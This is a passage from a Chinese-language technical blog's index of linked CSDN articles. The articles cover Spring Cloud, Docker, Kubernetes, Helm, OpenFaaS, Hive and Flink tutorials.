10. [《Spring Cloud Gateway过滤器精确控制异常返回(分析篇)》](https://xinchen.blog.csdn.net/article/details/120114474)
11. [《Spring Cloud Gateway过滤器精确控制异常返回(实战,控制http返回码和message字段)》](https://xinchen.blog.csdn.net/article/details/120170949)
12. [《Spring Cloud Gateway过滤器精确控制异常返回(实战,完全定制返回body)》](https://xinchen.blog.csdn.net/article/details/120239199)
13. [《Spring Cloud Gateway编码实现任意地址跳转》](https://xinchen.blog.csdn.net/article/details/121805244)
## spring-cloud-alibaba实战
1. [《Docker下,两分钟极速体验Nacos》](https://blog.csdn.net/boling_cavalry/article/details/97617353);
2. [《Docker下的Nacos环境开发》](https://xinchen.blog.csdn.net/article/details/98328270);
3. [《Docker下,两分钟极速体验Nacos配置中心》](https://xinchen.blog.csdn.net/article/details/99708769);
4. [《Docker下Nacos配置应用开发》](https://xinchen.blog.csdn.net/article/details/100067833);
5. [《Docker下Nacos持久化配置》](https://xinchen.blog.csdn.net/article/details/100171289);
## spring-cloud-kubernetes特辑
1. [《spring-cloud-kubernetes官方demo运行实战》](https://blog.csdn.net/boling_cavalry/article/details/91346780)
2. [《你好spring-cloud-kubernetes》](https://blog.csdn.net/boling_cavalry/article/details/91351411)
3. [《spring-cloud-kubernetes背后的三个关键知识点》](https://blog.csdn.net/boling_cavalry/article/details/92069486)
4. [《spring-cloud-kubernetes的服务发现和轮询实战(含熔断)》](https://xinchen.blog.csdn.net/article/details/92394559)
5. [《spring-cloud-kubernetes与SpringCloud Gateway》](https://xinchen.blog.csdn.net/article/details/95001691)
6. [《spring-cloud-kubernetes与k8s的configmap》](https://xinchen.blog.csdn.net/article/details/95804909)
7. [《spring-cloud-kubernetes自动同步k8s的configmap更新》](https://xinchen.blog.csdn.net/article/details/97529652)
## spring-cloud-square特辑
1. [五分钟搞懂spring-cloud-square](https://xinchen.blog.csdn.net/article/details/119130289)
2. [spring-cloud-square开发实战(三种类型全覆盖)](https://xinchen.blog.csdn.net/article/details/119304887)
3. [spring-cloud-square源码速读(spring-cloud-square-okhttp篇)](https://xinchen.blog.csdn.net/article/details/119360559)
4. [spring-cloud-square源码速读(retrofit + okhttp篇)](https://xinchen.blog.csdn.net/article/details/119383904)
## dubbo实战特辑
1. [准备和初体验](https://xinchen.blog.csdn.net/article/details/109096867)
2. [与SpringBoot集成](https://xinchen.blog.csdn.net/article/details/109142783)
3. [使用Zookeeper注册中心](https://xinchen.blog.csdn.net/article/details/109147843)
4. [管理控制台dubbo-admin](https://xinchen.blog.csdn.net/article/details/109267151)
## java云原生系列
1. [strimzi实战之一:简介和准备](https://xinchen.blog.csdn.net/article/details/127705101)
2. [strimzi实战之二:部署和消息功能初体验](https://xinchen.blog.csdn.net/article/details/127707552)
4. [strimzi实战之三:prometheus+grafana监控(按官方文档搞不定监控?不妨看看本文,已经踩过坑了)](https://xinchen.blog.csdn.net/article/details/127724405)
4. [Strimzi Kafka Bridge(桥接)实战之一:简介和部署](https://xinchen.blog.csdn.net/article/details/127832731)
5. [Strimzi Kafka Bridge(桥接)实战之二:生产和发送消息](https://xinchen.blog.csdn.net/article/details/127924065)
6. [Strimzi Kafka Bridge(桥接)实战之三:自制sdk(golang版本)](https://xinchen.blog.csdn.net/article/details/127938106)
# Docker
## 基础知识
1. [《Docker的准备,安装,初体验》](https://blog.csdn.net/boling_cavalry/article/details/60367393)
2. [《CentOS7安装docker》](https://blog.csdn.net/boling_cavalry/article/details/77752721)
3. [《docker下载镜像慢怎么办?daocloud加速器来帮你》](https://blog.csdn.net/boling_cavalry/article/details/77833069)
4. [《docker私有仓库搭建与使用实战》](https://blog.csdn.net/boling_cavalry/article/details/78818462)
5. [《maven构建docker镜像三部曲之一:准备环境》](https://blog.csdn.net/boling_cavalry/article/details/78869466)
6. [《maven构建docker镜像三部曲之二:编码和构建镜像》](https://blog.csdn.net/boling_cavalry/article/details/78872020)
7. [《maven构建docker镜像三部曲之三:推送到远程仓库(内网和阿里云)》](https://blog.csdn.net/boling_cavalry/article/details/78934391)
8. [《查看Docker容器的信息》](https://blog.csdn.net/boling_cavalry/article/details/80215214)
9. [《Docker镜像制作实战:设置时区和系统编码》](https://blog.csdn.net/boling_cavalry/article/details/80381258)
10. [《Docker镜像列表中的none:none是什么》](https://blog.csdn.net/boling_cavalry/article/details/90727359)
11. [《Docker多阶段构建实战(multi-stage builds)》](https://blog.csdn.net/boling_cavalry/article/details/90742657)
12. [《docker的/var/run/docker.sock参数》](https://blog.csdn.net/boling_cavalry/article/details/92846483)
13. [《docker与gosu》](https://blog.csdn.net/boling_cavalry/article/details/93380447)
14. [《Docker远程连接设置》](https://blog.csdn.net/boling_cavalry/article/details/100049996)
15. [《TLS加密远程连接Docker》](https://blog.csdn.net/boling_cavalry/article/details/100601169)
19. [《CentOS部署Harbor镜像仓库》](https://blog.csdn.net/boling_cavalry/article/details/101100898)
20. [《Docker常用命令小记》](https://blog.csdn.net/boling_cavalry/article/details/101145739)
21. [《一行命令安装docker和docker-compose(CentOS7)》](https://blog.csdn.net/boling_cavalry/article/details/101830200)
22. [《极速体验docker容器健康》](https://blog.csdn.net/boling_cavalry/article/details/102641942)
23. [《Java应用在docker环境配置容器健康检查》](https://blog.csdn.net/boling_cavalry/article/details/102649435)
24. [《docker-compose下的java应用启动顺序两部曲之一:问题分析》](https://blog.csdn.net/boling_cavalry/article/details/102874052)
25. [《docker-compose下的java应用启动顺序两部曲之二:实战》](https://blog.csdn.net/boling_cavalry/article/details/102880881)
26. [《设置非root账号不用sudo直接执行docker命令》](https://blog.csdn.net/boling_cavalry/article/details/106590784)
27. [《SpringBoot-2.3镜像方案为什么要做多个layer》](https://blog.csdn.net/boling_cavalry/article/details/106600620)
## 进阶实战
1. [《Docker下的web开发和Tomcat部署》](https://blog.csdn.net/boling_cavalry/article/details/61415268)
2. [《实战docker,编写Dockerfile定制tomcat镜像,实现web应用在线部署》](https://blog.csdn.net/boling_cavalry/article/details/70184605)
3. [《实战docker,构建nginx反向代理tomcat,学习link和docker-compose》](https://blog.csdn.net/boling_cavalry/article/details/70194072)
4. [《在docker上编译openjdk8》](https://blog.csdn.net/boling_cavalry/article/details/70243954)
5. [《修改,编译,GDB调试openjdk8源码(docker环境下)》](https://blog.csdn.net/boling_cavalry/article/details/70557537)
6. [《让docker中的mysql启动时自动执行sql》](https://blog.csdn.net/boling_cavalry/article/details/71055159)
7. [《Docker搭建disconf环境,三部曲之一:极速搭建disconf》](https://blog.csdn.net/boling_cavalry/article/details/71082610)
8. [《Docker搭建disconf环境,三部曲之二:本地快速构建disconf镜像》](https://blog.csdn.net/boling_cavalry/article/details/71107498)
9. [《Docker搭建disconf环境,三部曲之三:细说搭建过程》](https://blog.csdn.net/boling_cavalry/article/details/71120725)
10. [《docker下使用disconf:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/71404395)
11. [《docker下使用disconf:细说demo开发》](https://blog.csdn.net/boling_cavalry/article/details/71424124)
12. [《jedis使用入门(Docker环境下)》](https://blog.csdn.net/boling_cavalry/article/details/71440053)
13. [《Docker下kafka学习,三部曲之一:极速体验kafka》](https://blog.csdn.net/boling_cavalry/article/details/71576775)
14. [《Docker下kafka学习,三部曲之二:本地环境搭建》](https://blog.csdn.net/boling_cavalry/article/details/71601189)
15. [《Docker下kafka学习,三部曲之三:java开发》](https://blog.csdn.net/boling_cavalry/article/details/71634631)
16. [《Docker下部署dubbo,消费者应用无法使用link参数的问题》](https://blog.csdn.net/boling_cavalry/article/details/72388834)
17. [《Docker下dubbo开发,三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/72303126)
18. [《Docker下dubbo开发,三部曲之二:本地环境搭建》](https://blog.csdn.net/boling_cavalry/article/details/72460526)
19. [《Docker下dubbo开发,三部曲之三:java开发》](https://blog.csdn.net/boling_cavalry/article/details/72789984)
20. [《Docker下实战zabbix三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/76857936)
21. [《Docker下实战zabbix三部曲之二:监控其他机器》](https://blog.csdn.net/boling_cavalry/article/details/77095153)
22. [《Docker下实战zabbix三部曲之三:自定义监控项》](https://blog.csdn.net/boling_cavalry/article/details/77410178)
23. [《极速体验编译openjdk8(docker环境)》](https://blog.csdn.net/boling_cavalry/article/details/77623193)
24. [《Docker下HBase学习,三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/78041775)
25. [《Docker下HBase学习,三部曲之二:集群HBase搭建》](https://blog.csdn.net/boling_cavalry/article/details/78041811)
26. [《Docker下HBase学习,三部曲之三:java开发》](https://blog.csdn.net/boling_cavalry/article/details/78156406)
27. [《Docker下,极速体验mongodb》](https://blog.csdn.net/boling_cavalry/article/details/78168085)
28. [《制作mongodb的Docker镜像文件》](https://blog.csdn.net/boling_cavalry/article/details/78172113)
29. [《Docker下,实战mongodb副本集(Replication)》](https://blog.csdn.net/boling_cavalry/article/details/78173636)
30. [《Docker下安装Rockmongo,图形化操作mongodb》](https://blog.csdn.net/boling_cavalry/article/details/78234762)
31. [《Docker下的Kafka学习之一:制作集群用的镜像文件》](https://blog.csdn.net/boling_cavalry/article/details/78244943)
32. [《Docker下的Kafka学习之二:搭建集群环境》](https://blog.csdn.net/boling_cavalry/article/details/78309050)
33. [《Docker下的Kafka学习之三:集群环境下的java开发》](https://blog.csdn.net/boling_cavalry/article/details/78386451)
34. [《Docker下,极速体验编译pinpoint1.6.x分支》](https://xinchen.blog.csdn.net/article/details/78440890)
35. [《把pinpoint编译环境做成Docker镜像文件》](https://blog.csdn.net/boling_cavalry/article/details/78447310)
36. [《Docker下,极速体验pinpoint1.6.3》](https://blog.csdn.net/boling_cavalry/article/details/78447314)
37. [《Docker下,pinpoint环境搭建》](https://blog.csdn.net/boling_cavalry/article/details/78448564)
38. [《pinpoint插件开发之一:牛刀小试,调整gson插件》](https://blog.csdn.net/boling_cavalry/article/details/78495628)
39. [《pinpoint插件开发之二:从零开始新建一个插件》](https://blog.csdn.net/boling_cavalry/article/details/78568073)
40. [《docker下的Jenkins安装和体验》](https://blog.csdn.net/boling_cavalry/article/details/78942408)
41. [《Docker下运行springboot》](https://blog.csdn.net/boling_cavalry/article/details/78991870)
42. [《Docker下redis与springboot三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/78991422)
43. [《Docker下redis与springboot三部曲之二:安装redis主从和哨兵》](https://blog.csdn.net/boling_cavalry/article/details/78995407)
44. [《Docker下redis与springboot三部曲之三:springboot下访问redis哨兵》](https://blog.csdn.net/boling_cavalry/article/details/79041129)
45. [《实战maven私有仓库三部曲之三:Docker下搭建maven私有仓库》](https://blog.csdn.net/boling_cavalry/article/details/79111740)
46. [《Docker下的Spring Cloud三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/79177930)
47. [《Docker下的Spring Cloud三部曲之二:细说Spring Cloud开发》](https://blog.csdn.net/boling_cavalry/article/details/79134497)
48. [《Docker下的Spring Cloud三部曲之三:在线横向扩容》](https://blog.csdn.net/boling_cavalry/article/details/79192376)
49. [《Docker下的OpenResty三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/79290944)
50. [《Docker下的OpenResty三部曲之二:细说开发》](https://blog.csdn.net/boling_cavalry/article/details/79292356)
51. [《Docker下的OpenResty三部曲之三:OpenResty加Tomcat的服务》](https://blog.csdn.net/boling_cavalry/article/details/79311164)
52. [《Docker下Java文件上传服务三部曲之一:准备环境》](https://blog.csdn.net/boling_cavalry/article/details/79361159)
53. [《Docker下Java文件上传服务三部曲之二:服务端开发》](https://blog.csdn.net/boling_cavalry/article/details/79367520)
54. [《Docker下Java文件上传服务三部曲之三:wireshark抓包分析》](https://blog.csdn.net/boling_cavalry/article/details/79380053)
55. [《Docker下手工配置MySQL主从》](https://blog.csdn.net/boling_cavalry/article/details/79751085)
56. [《Docker下MySQL主从三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/79747488)
57. [《Docker下MySQL主从三部曲之二:细说镜像制作》](https://blog.csdn.net/boling_cavalry/article/details/79775617)
58. [《Docker下MySQL主从三部曲之三:binlog日志参数实战》](https://blog.csdn.net/boling_cavalry/article/details/79782008)
59. [《Docker下ELK三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/79950677)
60. [《Docker下ELK三部曲之二:细说开发》](https://blog.csdn.net/boling_cavalry/article/details/79972444)
61. [《Docker下ELK三部曲之三:K8S上的ELK和应用日志上报》](https://blog.csdn.net/boling_cavalry/article/details/80141800)
62. [《Docker镜像制作实战:设置时区和系统编码》](https://blog.csdn.net/boling_cavalry/article/details/80381258)
63. [《没有JDK和Maven,用Docker也能构建Maven工程》](https://blog.csdn.net/boling_cavalry/article/details/80384722)
64. [《Docker下RabbitMQ延时队列实战两部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/80630100)
65. [《Docker下RabbitMQ延时队列实战两部曲之二:细说开发》](https://blog.csdn.net/boling_cavalry/article/details/80635050)
66. [《利用Docker极速下载OpenJDK11源码》](https://blog.csdn.net/boling_cavalry/article/details/83245148)
67. [《极简,利用Docker仅两行命令就能下载和编译OpenJDK11》](https://blog.csdn.net/boling_cavalry/article/details/83353102)
68. [《kafka的Docker镜像使用说明(wurstmeister/kafka)》](https://blog.csdn.net/boling_cavalry/article/details/85395080)
69. [《如何使用Docker内的kafka服务》](https://blog.csdn.net/boling_cavalry/article/details/85528519)
70. [《自己动手制作elasticsearch-head的Docker镜像》](https://blog.csdn.net/boling_cavalry/article/details/86663168)
71. [《自己动手制作elasticsearch的ik分词器的Docker镜像》](https://blog.csdn.net/boling_cavalry/article/details/86668180)
72. [《docker下,一行命令搭建elasticsearch6.5.0集群(带head插件和ik分词器)》](https://blog.csdn.net/boling_cavalry/article/details/86669450)
73. [《docker下,极速搭建spark集群(含hdfs集群)》](https://blog.csdn.net/boling_cavalry/article/details/86851069)
74. [《docker下的spark集群,调整参数榨干硬件》](https://blog.csdn.net/boling_cavalry/article/details/87438666)
75. [《用golang官方Docker镜像运行项目》](https://blog.csdn.net/boling_cavalry/article/details/87904485)
76. [《Docker下Prometheus和Grafana三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/88367137)
77. [《Docker下Prometheus和Grafana三部曲之二:细说Docker编排》](https://blog.csdn.net/boling_cavalry/article/details/88374848)
78. [《Docker下Prometheus和Grafana三部曲之三:自定义监控项开发和配置》](https://blog.csdn.net/boling_cavalry/article/details/88375734)
79. [《Docker与Jib(maven插件版)实战》](https://blog.csdn.net/boling_cavalry/article/details/94355659)
80. [《Docker下,两分钟极速体验Nacos》](https://blog.csdn.net/boling_cavalry/article/details/97617353)
81. [《Docker下的Nacos环境开发》](https://blog.csdn.net/boling_cavalry/article/details/98328270)
82. [《Docker下,两分钟极速体验Nacos配置中心》](https://blog.csdn.net/boling_cavalry/article/details/99708769)
83. [《Docker下Nacos配置应用开发》](https://blog.csdn.net/boling_cavalry/article/details/100067833)
84. [《Docker下Nacos持久化配置》](https://blog.csdn.net/boling_cavalry/article/details/100171289)
85. [《Docker下多机器免密码SSH登录》](https://blog.csdn.net/boling_cavalry/article/details/101369208)
86. [《IDEA的Docker插件实战(Dockerfile篇)》](https://blog.csdn.net/boling_cavalry/article/details/100051325)
87. [《IDEA的Docker插件实战(Docker Image篇)》](https://blog.csdn.net/boling_cavalry/article/details/100062008)
88. [《IDEA的Docker插件实战(Docker-compose篇)》](https://blog.csdn.net/boling_cavalry/article/details/100064934)
89. [《Docker Swarm从部署到基本操作》](https://blog.csdn.net/boling_cavalry/article/details/100634272)
90. [《ARM64架构下,OpenJDK的官方Docker镜像为何没有8版本?》](https://blog.csdn.net/boling_cavalry/article/details/101908575)
91. [《ARM架构下的Docker环境,OpenJDK官方没有8版本镜像,如何完美解决?》](https://blog.csdn.net/boling_cavalry/article/details/101855126)
92. [《Docker部署flink备忘》](https://blog.csdn.net/boling_cavalry/article/details/105015546)
93. [《用GitHub Actions制作Docker镜像》](https://xinchen.blog.csdn.net/article/details/115476859)
94. [《Docker下elasticsearch8部署、扩容、基本操作实战(含kibana)》](https://xinchen.blog.csdn.net/article/details/125196035)
95. [《docker-compose快速部署elasticsearch-8.x集群+kibana》](https://xinchen.blog.csdn.net/article/details/125232858)
96. [《群晖DS218+部署PostgreSQL(docker)》](https://xinchen.blog.csdn.net/article/details/124701835)
# kubernetes
## kubernetes基础
1. [《Kubernetes持久卷实战两部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/79516039)
2. [《Kubernetes持久卷实战两部曲之二:细说开发》](https://blog.csdn.net/boling_cavalry/article/details/79592461)
3. [《实战Kubernetes动态卷存储(NFS)》](https://blog.csdn.net/boling_cavalry/article/details/79598905)
4. [《Spring Boot应用在kubernetes的sidecar设计与实战》](https://blog.csdn.net/boling_cavalry/article/details/83784113)
5. [《Kubernetes源码学习之一:下载和编译源码》](https://blog.csdn.net/boling_cavalry/article/details/88591982)
6. [《Kubernetes深入学习之二:编译和部署镜像(api-server)》](https://blog.csdn.net/boling_cavalry/article/details/88603293)
7. [《k8s自定义controller三部曲之一:创建CRD(Custom Resource Definition)》](https://blog.csdn.net/boling_cavalry/article/details/88917818)
8. [《k8s自定义controller三部曲之二:自动生成代码》](https://blog.csdn.net/boling_cavalry/article/details/88924194)
9. [《k8s自定义controller三部曲之三:编写controller代码》](https://blog.csdn.net/boling_cavalry/article/details/88934063)
10. [《查看k8s的etcd数据》](https://blog.csdn.net/boling_cavalry/article/details/88958242)
11. [《kubernetes部署metrics-server》](https://blog.csdn.net/boling_cavalry/article/details/105006295)
12. [《Kubernetes的Local Persistent Volumes使用小记》](https://blog.csdn.net/boling_cavalry/article/details/106453727)
13. [《开发阶段,将SpringBoot应用快速部署到K8S》](https://blog.csdn.net/boling_cavalry/article/details/106594392)
14. [快速搭建云原生开发环境(k8s+pv+prometheus+grafana)](https://xinchen.blog.csdn.net/article/details/127601664)
## kubernetes安装部署
1. [《kubeadm搭建kubernetes集群之一:构建标准化镜像》](https://blog.csdn.net/boling_cavalry/article/details/78694206)
2. [《kubeadm搭建kubernetes集群之二:创建master节点》](https://blog.csdn.net/boling_cavalry/article/details/78700527)
3. [《kubeadm搭建kubernetes集群之三:加入node节点》](https://blog.csdn.net/boling_cavalry/article/details/78703364)
4. [《rancher下的kubernetes之一:构建标准化vmware镜像》](https://blog.csdn.net/boling_cavalry/article/details/78762829)
5. [《rancher下的kubernetes之二:安装rancher和kubernetes》](https://blog.csdn.net/boling_cavalry/article/details/78764915)
6. [《rancher下的kubernetes之三:在linux上安装kubectl工具》](https://blog.csdn.net/boling_cavalry/article/details/79223091)
7. [《CentOS7环境安装Kubernetes四部曲之一:标准化机器准备》](https://blog.csdn.net/boling_cavalry/article/details/79613037)
8. [《CentOS7环境安装Kubernetes四部曲之二:配置模板和安装master》](https://blog.csdn.net/boling_cavalry/article/details/79615597)
9. [《CentOS7环境安装Kubernetes四部曲之三:添加节点》](https://blog.csdn.net/boling_cavalry/article/details/79621557)
10. [《CentOS7环境安装Kubernetes四部曲之四:安装kubectl工具》](https://blog.csdn.net/boling_cavalry/article/details/79624655)
11. [《CentOS7环境部署kubenetes1.12版本五部曲之一:标准化机器》](https://blog.csdn.net/boling_cavalry/article/details/83692428)
12. [《CentOS7环境部署kubenetes1.12版本五部曲之二:创建master节点》](https://blog.csdn.net/boling_cavalry/article/details/83692606)
13. [《CentOS7环境部署kubenetes1.12版本五部曲之三:node节点加入》](https://blog.csdn.net/boling_cavalry/article/details/83714209)
14. [《CentOS7环境部署kubenetes1.12版本五部曲之四:安装dashboard》](https://blog.csdn.net/boling_cavalry/article/details/83715479)
15. [《CentOS7环境部署kubenetes1.12版本五部曲之五:安装kubectl》](https://blog.csdn.net/boling_cavalry/article/details/83740262)
16. [《极速安装和体验k8s(Minikube)》](https://blog.csdn.net/boling_cavalry/article/details/90547822)
17. [《Linux安装minikube指南》](https://blog.csdn.net/boling_cavalry/article/details/91304127)
18. [《kubespray2.11安装kubernetes1.15》](https://blog.csdn.net/boling_cavalry/article/details/103106314)
19. [《极速安装kubernetes-1.22.0(三台CentOS7服务器)》](https://xinchen.blog.csdn.net/article/details/122893949)
## kubernetes进阶实战
1. [《kubernetes下的Nginx加Tomcat三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/79215453)
2. [《kubernetes下的Nginx加Tomcat三部曲之二:细说开发》](https://blog.csdn.net/boling_cavalry/article/details/79232244)
3. [《kubernetes下的Nginx加Tomcat三部曲之三:实战扩容和升级》](https://blog.csdn.net/boling_cavalry/article/details/79246527)
4. [《Kubernetes下web服务的性能测试三部曲之一:准备工作》](https://blog.csdn.net/boling_cavalry/article/details/79321518)
5. [《Kubernetes下web服务的性能测试三部曲之二:纵向扩容》](https://blog.csdn.net/boling_cavalry/article/details/79327660)
6. [《Kubernetes下web服务的性能测试三部曲之三:横向扩容》](https://blog.csdn.net/boling_cavalry/article/details/79336661)
7. [《在windows电脑上配置kubectl远程操作kubernetes》](https://blog.csdn.net/boling_cavalry/article/details/90577769)
8. [《本地服务调用K8S环境中的SpringCloud微服务实战》](https://blog.csdn.net/boling_cavalry/article/details/90578934)
9. [《kubernetes下的jenkins如何设置maven》](https://blog.csdn.net/boling_cavalry/article/details/104849839)
10. [《K8S环境的Jenkin性能问题处理》](https://blog.csdn.net/boling_cavalry/article/details/105005245)
11. [《kubernetes1.15极速部署prometheus和grafana》](https://xinchen.blog.csdn.net/article/details/105156849)
12. [《K8S环境的Jenkin性能问题处理续篇(任务Pod设置)》](https://xinchen.blog.csdn.net/article/details/105181474)
13. [《K8S的StorageClass实战(NFS)》](https://xinchen.blog.csdn.net/article/details/105465672)
14. [《K8S环境快速部署Kafka(K8S外部可访问)》](https://xinchen.blog.csdn.net/article/details/105466163)
15. [《K8S的Kafka监控(Prometheus+Grafana)》](https://xinchen.blog.csdn.net/article/details/105466788)
16. [《Kubernetes的Group、Version、Resource学习小记》](https://xinchen.blog.csdn.net/article/details/113715847)
17. [《Kubernetes亲和性学习笔记》](https://xinchen.blog.csdn.net/article/details/123189528)
18. [《极速安装kubernetes-1.22.0(三台CentOS7服务器)》](https://blog.csdn.net/boling_cavalry/article/details/122893949)
## kubernetes官方java客户端特辑
1. [《Kubernetes官方java客户端之一:准备》](https://blog.csdn.net/boling_cavalry/article/details/107480015)
2. [《Kubernetes官方java客户端之二:序列化和反序列化问题》](https://blog.csdn.net/boling_cavalry/article/details/107503695)
3. [《Kubernetes官方java客户端之三:外部应用》](https://blog.csdn.net/boling_cavalry/article/details/107528068)
4. [《Kubernetes官方java客户端之四:内部应用》](https://blog.csdn.net/boling_cavalry/article/details/107552495)
5. [《Kubernetes官方java客户端之五:proto基本操作》](https://blog.csdn.net/boling_cavalry/article/details/107552722)
6. [《Kubernetes官方java客户端之六:OpenAPI基本操作》](https://blog.csdn.net/boling_cavalry/article/details/107574722)
## kubernetes官方go客户端特辑
1. [client-go实战之一:准备工作](https://xinchen.blog.csdn.net/article/details/113753087)
2. [client-go实战之二:RESTClient](https://xinchen.blog.csdn.net/article/details/113487087)
3. [client-go实战之三:Clientset](https://xinchen.blog.csdn.net/article/details/113788269)
4. [client-go实战之四:dynamicClient](https://xinchen.blog.csdn.net/article/details/113795523)
5. [client-go实战之五:DiscoveryClient](https://xinchen.blog.csdn.net/article/details/113800054)
6. [client-go实战之六:时隔两年,刷新版本继续实战](https://xinchen.blog.csdn.net/article/details/128686327)
7. [client-go实战之七:准备一个工程管理后续实战的代码](https://xinchen.blog.csdn.net/article/details/128749438)
8. [client-go实战之八:更新资源时的冲突错误处理](https://xinchen.blog.csdn.net/article/details/128745382)
9. [client-go实战之九:手写一个kubernetes的controller](https://xinchen.blog.csdn.net/article/details/128753781)
## Operator实战特辑
1. [kubebuilder实战之一:准备工作](https://xinchen.blog.csdn.net/article/details/113035349)
2. [kubebuilder实战之二:初次体验kubebuilder](https://xinchen.blog.csdn.net/article/details/113089414)
3. [kubebuilder实战之三:基础知识速览](https://xinchen.blog.csdn.net/article/details/113815479)
4. [kubebuilder实战之四:operator需求说明和设计](https://xinchen.blog.csdn.net/article/details/113822065)
5. [kubebuilder实战之五:operator编码](https://xinchen.blog.csdn.net/article/details/113836090)
6. [kubebuilder实战之六:构建部署运行](https://xinchen.blog.csdn.net/article/details/113840999)
7. [kubebuilder实战之七:webhook](https://xinchen.blog.csdn.net/article/details/113922328)
8. [kubebuilder实战之八:知识点小记](https://xinchen.blog.csdn.net/article/details/114215218)
## helm实战
1. [《helm实战之开发Chart》](https://blog.csdn.net/boling_cavalry/article/details/88759724)
2. [《部署和体验Helm(2.16.1版本)》](https://blog.csdn.net/boling_cavalry/article/details/103667500)
3. [《Helm部署和体验jenkins》](https://blog.csdn.net/boling_cavalry/article/details/103670976)
4. [《Helm部署的服务如何修改配置》](https://blog.csdn.net/boling_cavalry/article/details/105004586)
5. [《helm部署mysql》](https://xinchen.blog.csdn.net/article/details/105180743)
## Serverless领域OpenFaaS特辑
1. [部署](https://xinchen.blog.csdn.net/article/details/109805296)
2. [函数入门](https://xinchen.blog.csdn.net/article/details/109816846)
3. [Java函数](https://xinchen.blog.csdn.net/article/details/109845563)
4. [模板操作(template)](https://xinchen.blog.csdn.net/article/details/109900209)
5. [大话watchdog](https://xinchen.blog.csdn.net/article/details/109971608)
6. [of-watchdog(为性能而生)](https://xinchen.blog.csdn.net/article/details/110285578)
7. [java11模板解析](https://xinchen.blog.csdn.net/article/details/110310033)
8. [OpenFaaS实战之八:自制模板(maven+jdk8)](https://xinchen.blog.csdn.net/article/details/114438355)
9. [OpenFaaS实战之九:终篇,自制模板(springboot+maven+jdk8)](114483494)
# 大数据
## hive学习笔记
1. [基本数据类型](https://xinchen.blog.csdn.net/article/details/109304044)
2. [复杂数据类型](https://xinchen.blog.csdn.net/article/details/109344642)
3. [内部表和外部表](https://xinchen.blog.csdn.net/article/details/109393908)
4. [分区表](https://xinchen.blog.csdn.net/article/details/109404278)
5. [分桶](https://xinchen.blog.csdn.net/article/details/109412454)
6. [HiveQL基础](https://xinchen.blog.csdn.net/article/details/109432395)
7. [内置函数](https://xinchen.blog.csdn.net/article/details/109440325)
8. [Sqoop](https://xinchen.blog.csdn.net/article/details/109445825)
9. [基础UDF](https://xinchen.blog.csdn.net/article/details/109457019)
10. [用户自定义聚合函数(UDAF)](https://xinchen.blog.csdn.net/article/details/109499956)
11. [UDTF](https://xinchen.blog.csdn.net/article/details/109530630)
## CDH
1. [《CDH5部署三部曲之一:准备工作》](https://xinchen.blog.csdn.net/article/details/105340968)
2. [《CDH5部署三部曲之二:部署和设置》](https://xinchen.blog.csdn.net/article/details/105341713)
3. [《CDH5部署三部曲之三:问题总结》](https://xinchen.blog.csdn.net/article/details/105342156)
4. [《超简单的CDH6部署和体验(单机版)》](https://xinchen.blog.csdn.net/article/details/105356266)
## Flink
1. [《Flink1.7从安装到体验》](https://blog.csdn.net/boling_cavalry/article/details/85038527)
2. [《开发第一个Flink应用》](https://blog.csdn.net/boling_cavalry/article/details/85059168)
3. [《没有了可用Task slot,Flink新增任务会怎样?》](https://blog.csdn.net/boling_cavalry/article/details/85213905)
4. [《Flink实战:消费Wikipedia实时消息》](https://blog.csdn.net/boling_cavalry/article/details/85205622)
5. [《树莓派3B搭建Flink集群》](https://blog.csdn.net/boling_cavalry/article/details/85222494)
6. [《Flink数据源拆解分析(WikipediaEditsSource)》](https://blog.csdn.net/boling_cavalry/article/details/85221446)
7. [《Flink消费kafka消息实战》](https://blog.csdn.net/boling_cavalry/article/details/85549434)
8. [《Docker部署flink备忘》](https://blog.csdn.net/boling_cavalry/article/details/105015546)
9. [《Flink on Yarn三部曲之一:准备工作》](https://xinchen.blog.csdn.net/article/details/105356306)
10. [《Flink on Yarn三部曲之二:部署和设置》](https://xinchen.blog.csdn.net/article/details/105356347)
11. [《Flink on Yarn三部曲之三:提交Flink任务》](https://xinchen.blog.csdn.net/article/details/105356399)
12. [《IDEA上运行Flink任务》](https://xinchen.blog.csdn.net/article/details/105459630)
13. [《Flink1.9.2源码编译和使用》](https://xinchen.blog.csdn.net/article/details/105460060)
14. [《Flink的DataSource三部曲之一:直接API》](https://xinchen.blog.csdn.net/article/details/105467076)
15. [《Flink的DataSource三部曲之二:内置connector》](https://xinchen.blog.csdn.net/article/details/105471798)
16. [《Flink的DataSource三部曲之三:自定义》](https://xinchen.blog.csdn.net/article/details/105472218)
17. [《Flink的sink实战之一:初探》](https://blog.csdn.net/boling_cavalry/article/details/105597628)
18. [《Flink的sink实战之二:kafka》](https://blog.csdn.net/boling_cavalry/article/details/105598224)
19. [《Flink的sink实战之三:cassandra3》](https://blog.csdn.net/boling_cavalry/article/details/105598968)
20. [《Flink的sink实战之四:自定义》](https://blog.csdn.net/boling_cavalry/article/details/105599511)
21. [《Flink SQL Client初探》](https://blog.csdn.net/boling_cavalry/article/details/105964425)
22. [《准备数据集用于flink学习》](https://blog.csdn.net/boling_cavalry/article/details/106033059)
23. [《将CSV的数据发送到kafka(java版)》](https://blog.csdn.net/boling_cavalry/article/details/106033472)
24. [《Flink SQL Client综合实战》](https://blog.csdn.net/boling_cavalry/article/details/106038219)
26. [《Flink Native Kubernetes实战》](https://blog.csdn.net/boling_cavalry/article/details/106038957)
27. [《Flink处理函数实战之一:深入了解ProcessFunction的状态操作(Flink-1.10)》](https://blog.csdn.net/boling_cavalry/article/details/106040312)
28. [《Flink处理函数实战之二:ProcessFunction类》](https://blog.csdn.net/boling_cavalry/article/details/106299035)
29. [《Flink处理函数实战之三:KeyedProcessFunction类》](https://blog.csdn.net/boling_cavalry/article/details/106299167)
30. [《Flink处理函数实战之四:窗口处理》](https://blog.csdn.net/boling_cavalry/article/details/106453229)
